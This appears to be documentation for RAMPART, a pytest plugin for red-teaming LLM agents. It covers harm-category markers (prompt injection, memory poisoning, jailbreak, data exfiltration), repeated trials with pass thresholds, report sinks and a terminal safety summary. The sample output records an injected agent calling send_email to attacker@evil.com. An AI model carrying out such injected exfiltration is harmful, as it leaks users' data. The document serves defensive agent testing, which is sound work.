Skip to content

pytest Integration

RAMPART is a pytest plugin. It activates automatically when installed — no registration needed.

Markers

@pytest.mark.harm(*categories)

Categorize a test by the type of safety concern it covers. Accepts HarmCategory enum values or plain strings.

Why use it: Harm markers group your tests by risk type. The terminal summary and JSON reports aggregate pass/fail statistics per category, so you can answer questions like "how many of our data exfiltration tests are passing?" at a glance. This is especially useful as your test suite grows — instead of scanning a flat list of test names, you see a structured breakdown by the type of harm you're testing for.

Python
from rampart import HarmCategory

@pytest.mark.harm(HarmCategory.DATA_EXFILTRATION)
async def test_email_exfil(adapter):
    ...

# Custom category (any string works — HarmCategory is a StrEnum)
@pytest.mark.harm("custom_product_risk")
async def test_custom_risk(adapter):
    ...

Built-in categories:

Category Value
MEMORY_POISONING "memory_poisoning"
PROMPT_INJECTION "prompt_injection"
JAILBREAK "jailbreak"
DATA_EXFILTRATION "data_exfiltration"
OVER_PERMISSIVE_ACTION "over_permissive_action"
DATA_LEAKAGE "data_leakage"
CONTENT_SAFETY "content_safety"
HALLUCINATION "hallucination"
BEHAVIORAL_REGRESSION "behavioral_regression"

@pytest.mark.trial(n=, threshold=)

Run a test multiple times for statistical confidence. Each trial is an independent execution with a fresh session.

Why use it: LLM-based agents are non-deterministic — the same prompt can produce different behavior across runs. A single test execution may not be representative. Trials address this by running the same test n times independently and reporting aggregate statistics. The threshold parameter lets you set an acceptable pass rate, acknowledging that 100% consistency may be unrealistic while still catching regressions. For example, threshold=0.8 means "this test should pass at least 80% of the time" — if your agent suddenly drops below that, something changed.

Python
@pytest.mark.trial(n=10)
async def test_injection_resistance(adapter):
    ...

@pytest.mark.trial(n=10, threshold=0.8)
async def test_with_threshold(adapter):
    ...
Parameter Type Default Description
n int required Number of trial repetitions
threshold float 1.0 Minimum fraction of trials that must be SAFE to pass

Trial semantics:

  • Each trial clone runs independently as a separate pytest item
  • Any UNSAFE result in any trial → the group fails
  • threshold sets the minimum pass rate: threshold=0.8 requires ≥ 80% SAFE
  • ERROR results count against the pass rate (they are not SAFE)
  • The trial group aggregate appears in the terminal summary

Running trials in parallel

Under pytest-xdist, aggregation is correct under any --dist mode. The default --dist=load spreads trial clones across all workers and is usually fastest; use --dist=loadgroup only when a trial group must stay on one worker (shared session fixture or per-group worker state). See Choosing loadgroup vs load.

Registering Sinks

pytest_rampart_sinks hook

Implement the pytest_rampart_sinks hook in your conftest.py to register the report sinks RAMPART emits to. It behaves identically in single-process and pytest-xdist runs:

Python
# conftest.py
from pathlib import Path

from rampart.reporting import JsonFileReportSink


def pytest_rampart_sinks(config):
    return [JsonFileReportSink(output_dir=Path(".report"))]

The hook receives the active pytest.Config, so you can build sinks from CLI/ini options or environment variables. Multiple implementations are supported; RAMPART emits to the union of every returned sink.

If you don't register any sinks, RAMPART still prints the terminal summary — but no structured report files are written.

Automatic Result Collection

When you call Attacks.xpia(...).execute_async(adapter=...) or Probes.behavior(...).execute_async(adapter=...) inside a test, RAMPART automatically collects the Result. No manual wiring needed.

This works via ExecutionEventHandler instances the plugin installs on every BaseExecution at construction time.

Manual Recording

For tests that construct Result objects directly (without factories):

Python
from rampart import ObservabilityLevel, Result, SafetyStatus, record_result

async def test_manual_result():
    result = Result(
        status=SafetyStatus.SAFE,
        summary="Agent passed manual check",
        observability_level=ObservabilityLevel.RESPONSE_ONLY,
    )
    record_result(result)

observability_level is required. State what the adapter behind the check could actually see, so the report never claims a level the run did not have. Where an adapter is in scope, pass adapter.observability_profile rather than naming a level by hand.

Terminal Summary

After standard pytest output, RAMPART prints a safety summary grouped by harm category:

Text Only
========================= RAMPART Safety Summary =========================

DATA_EXFILTRATION (4 tests)
  FAIL  test_xpia_email_exfil[trial-0] -- Attack objective detected: send_email({'recipient': 'attacker@evil.com'}) (tool_only)
  PASS  test_xpia_email_exfil[trial-1] -- Agent defended successfully (tool_only)
  PASS  test_xpia_search_exfil[trial-0] -- Agent defended successfully (tool_only)
  PASS  test_xpia_search_exfil[trial-1] -- Agent defended successfully (tool_only)
  PASS  test_xpia_email_exfil [1/2 safe, 50% pass rate, threshold: 80%] -- FAILED
  PASS  test_xpia_search_exfil [2/2 safe, 100% pass rate, threshold: 80%] -- PASSED

MEMORY_POISONING (1 tests)
  PASS  test_memory_poison -- Agent defended successfully (tool_only)

Population: 5 runs - 1 unsafe (20.0% attack success rate), 0 undetermined, 0 errors
==========================================================================

Each result line shows:

  • PASS/FAIL/WARN/ERR — the safety verdict
  • Test name — with [trial-N] suffix for trial clones
  • Summary — e.g., Agent defended successfully or Attack objective detected: ...
  • Observability level — tool_only, tool_and_side_effects, or response_only

Trial group lines show aggregate stats: safe count, pass rate, threshold, and overall verdict.

The Population line shows totals across all tests in the session, with the attack success rate excluding ERROR results from the denominator.